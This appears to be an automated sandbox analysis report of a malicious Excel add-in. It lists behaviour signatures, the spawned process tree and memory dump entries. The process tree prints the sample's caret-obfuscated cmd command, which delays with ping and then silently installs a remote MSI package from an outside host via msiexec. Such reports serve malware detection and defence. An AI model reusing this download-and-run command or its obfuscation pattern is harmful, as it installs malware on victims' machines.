Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
10/04/2024, 12:33
General
- Target 8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a.xlam
- Size 15KB
- Sample240410-precwsah5w
- SHA256 8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Use of msiexec (install) with remote resource 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Drops file in Windows directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of AdjustPrivilegeToken 34 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8c8ef518239308216d06b4bf9b2771dbb70759cb1c9e6327a1cd045444f2b69a.xlam"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c P^i^ng 127.0.0.1 -n 66 > nuL && m^S^Ie^X^e^C /i http://2215.site/240721-1.msi /qn2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\PING.EXEPing 127.0.0.1 -n 663⤵
- Runs ping.exe
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C:\Windows\system32\msiexec.exemSIeXeC /i http://2215.site/240721-1.msi /qn3⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
memory/4056-0-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-1-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-3-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-5-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-4-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-2-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-6-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-8-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-7-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-10-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-9-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-11-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-13-0x00007FFD0D660000-0x00007FFD0D670000-memory.dmp
memory/4056-14-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-12-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-15-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-16-0x00007FFD0D660000-0x00007FFD0D670000-memory.dmp
memory/4056-18-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-19-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-17-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-20-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-21-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-29-0x000001E61D540000-0x000001E61DD40000-memory.dmp
memory/4056-34-0x000001E61AFB0000-0x000001E61B3B0000-memory.dmp
memory/4056-35-0x000001E61AFB0000-0x000001E61B3B0000-memory.dmp
memory/4056-44-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-45-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-46-0x000001E61D540000-0x000001E61DD40000-memory.dmp
memory/4056-47-0x000001E61AFB0000-0x000001E61B3B0000-memory.dmp
memory/4056-48-0x000001E61AFB0000-0x000001E61B3B0000-memory.dmp
memory/4056-63-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-64-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-65-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-66-0x00007FFD0F770000-0x00007FFD0F780000-memory.dmp
memory/4056-67-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp
memory/4056-68-0x00007FFD4F6F0000-0x00007FFD4F8E5000-memory.dmp